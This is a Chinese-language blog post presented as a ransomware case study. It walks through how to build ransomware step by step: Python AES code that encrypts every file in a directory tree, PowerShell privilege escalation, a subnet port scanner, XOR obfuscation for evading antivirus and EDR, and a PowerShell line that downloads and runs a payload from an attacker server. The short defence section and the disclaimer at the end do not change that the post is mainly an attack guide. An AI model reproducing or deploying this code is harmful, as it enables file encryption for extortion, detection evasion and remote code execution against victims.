一、从一起真实案例说起

几个月前,我接到一个任务:调查一家互联网公司遭受的勒索软件攻击。这家公司运营着庞大的用户数据系统,突然一夜之间,公司所有的核心服务器显示被加密,屏幕上出现了一个勒索信息——要求支付比特币赎金以换取解密密钥。攻击者不仅加密了数据,还窃取了部分敏感信息用作二次勒索。
经过深入分析,我们发现攻击者使用了一款定制化的勒索软件,结合了远程代码执行漏洞和内网横向渗透技术,最终实现了对核心服务器的全面控制。这篇文章将分步骤还原这次攻击链,并详细展示勒索软件的运行原理、构造方法,以及如何测试免杀和绕过。
---
二、攻击者如何制造勒索软件的武器库
攻击者制作勒索软件并不是一蹴而就,而是需要仔细设计和测试,确保它能够:
- 加密目标文件:使用高效的对称加密算法。
- 隐藏自身:绕过杀软与EDR检测。
- 横向渗透:遍历全网找到更多目标。
- 提升权限:确保能够操作关键服务器。
以下是攻击者制作勒索软件的主要技术步骤:
1. 加密模块编写
勒索软件最核心的功能是加密文件。攻击者通常会选择AES(高级加密标准),因为其效率高且难以破解。以下是一段使用Python编写的加密代码:
<pre><code class="language-python">import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad
定义密钥,攻击者通常会随机生成
key = b'supersecretkey!!'
加密函数
def encrypt_file(file_path): with open(file_path, 'rb') as f: data = f.read() cipher = AES.new(key, AES.MODE_CBC) # 使用CBC模式加密 encrypted_data = cipher.encrypt(pad(data, AES.block_size))
保存加密后的数据和初始向量
with open(file_path + '.enc', 'wb') as f: f.write(cipher.iv + encrypted_data)
扫描目录并加密所有文件
def encrypt_all_files(target_dir): for root, _, files in os.walk(target_dir): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path) print(f'Encrypted: {file_path}')
测试加密
encrypt_all_files('/path/to/target/files')</code></pre>
2. 权限提升与横向渗透
通常,勒索软件会运行在一个低权限的用户环境中,因此攻击者需要想办法提升自己的权限。以下是通过PowerShell实现简单权限提升的代码:
<pre><code class="language-powershell"># 获取管理员权限 Start-Process powershell -ArgumentList '-Command Set-ExecutionPolicy Unrestricted' -Verb RunAs
尝试使用提权漏洞(CVE-XXXXX,假设为某Windows提权漏洞)
Invoke-Expression -Command "& {Import-Module .\Exploit.ps1; Invoke-Exploit}"</code></pre>
3. 网络扫描与横向移动
攻击者在获取初始权限后,通常会通过网络扫描找到更多目标。使用Python实现了简单的端口扫描逻辑:
<pre><code class="language-python">import socket
def scan_network(ip_range): for ip in ip_range: for port in range(1, 65535): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.5) if sock.connect_ex((ip, port)) == 0: print(f'Found open port: {ip}:{port}') sock.close()
测试网络扫描
scan_network(['192.168.1.' + str(i) for i in range(1, 255)])</code></pre>
---
三、免杀:如何躲过AV与EDR的追踪
杀毒软件和EDR系统是勒索软件的天敌,攻击者需要精心设计载荷,以绕过检测。以下是常见的免杀技术:
1. 文件混淆与加壳
攻击者通常会对勒索软件的二进制文件进行混淆,使其难以被静态分析。以下是使用Python实现简单的混淆:
<pre><code class="language-python"># 简单的字符串混淆技术,将关键代码隐藏 key = 'SECRETKEY' original_code = 'def main(): print("Hello, world!")' obfuscated_code = ''.join(chr(ord(char) ^ ord(key[i % len(key)])) for i, char in enumerate(original_code))
保存为混淆后的脚本
with open('payload.py', 'w') as f: f.write(obfuscated_code)</code></pre>
2. 内存加载执行
攻击者可以避免写入磁盘,通过内存加载执行勒索软件代码。以下是使用PowerShell加载文件到内存的方法:
<pre><code class="language-powershell"># 从远程加载并执行代码 $payload = Invoke-WebRequest -Uri 'http://attacker-server/payload.ps1' -UseBasicParsing Invoke-Expression $payload.Content</code></pre>
---
四、攻击链完整复现:从渗透到勒索
以下是攻击者完整的步骤链,基于真实案例:
- 初始接触:
- 攻击者通过鱼叉式社工攻击,诱骗目标下载一个伪装成PDF的可执行文件。
- 被利用的主机安装了一款未打补丁的文件共享服务,涉及CVE-XXXX漏洞。

- 漏洞利用:
- 攻击者通过伪装的载荷利用该漏洞,成功在目标机器上运行远控工具。
- 横向移动:
- 使用网络扫描工具发现内网中的其他服务器,并通过窃取凭证进一步渗透。

- 勒索软件部署:
- 攻击者将定制化的勒索软件注入到所有找到的机器上。

- 执行加密:
- 批量加密所有重要文件并留下勒索信息。
---
五、防御:如何识破勒索软件的套路
虽然攻击者手段精明,但防御者可以针对攻击链中的每一步实施监控与阻断:
1. 社工攻击防御
- 对员工进行反社工培训,避免打开不明文件。
- 在邮件网关上设置严格的附件过滤规则。
2. 漏洞修复
- 定期扫描系统中已知漏洞,并安装补丁。
3. 网络监控
- 在内网中部署流量监控系统,发现异常扫描行为。
4. 文件恢复与备份
- 使用离线备份系统,确保即使文件被加密也能快速恢复。
---
六、个人经验分享:如何思考攻击链
作为安全研究员,我的经验是无论是防御还是攻击,都需要从攻击者思维出发。勒索软件的出现并非偶然,它利用的是系统中的松散环节。一个漏洞可能看似简单,但当它与横向渗透结合时,威力不可小觑。如果你是防御者,永远不要低估攻击者的耐心与创意;如果你是攻击者,记住每一个细节都可能决定成败。
本文仅供安全研究学习,请勿用于非法用途!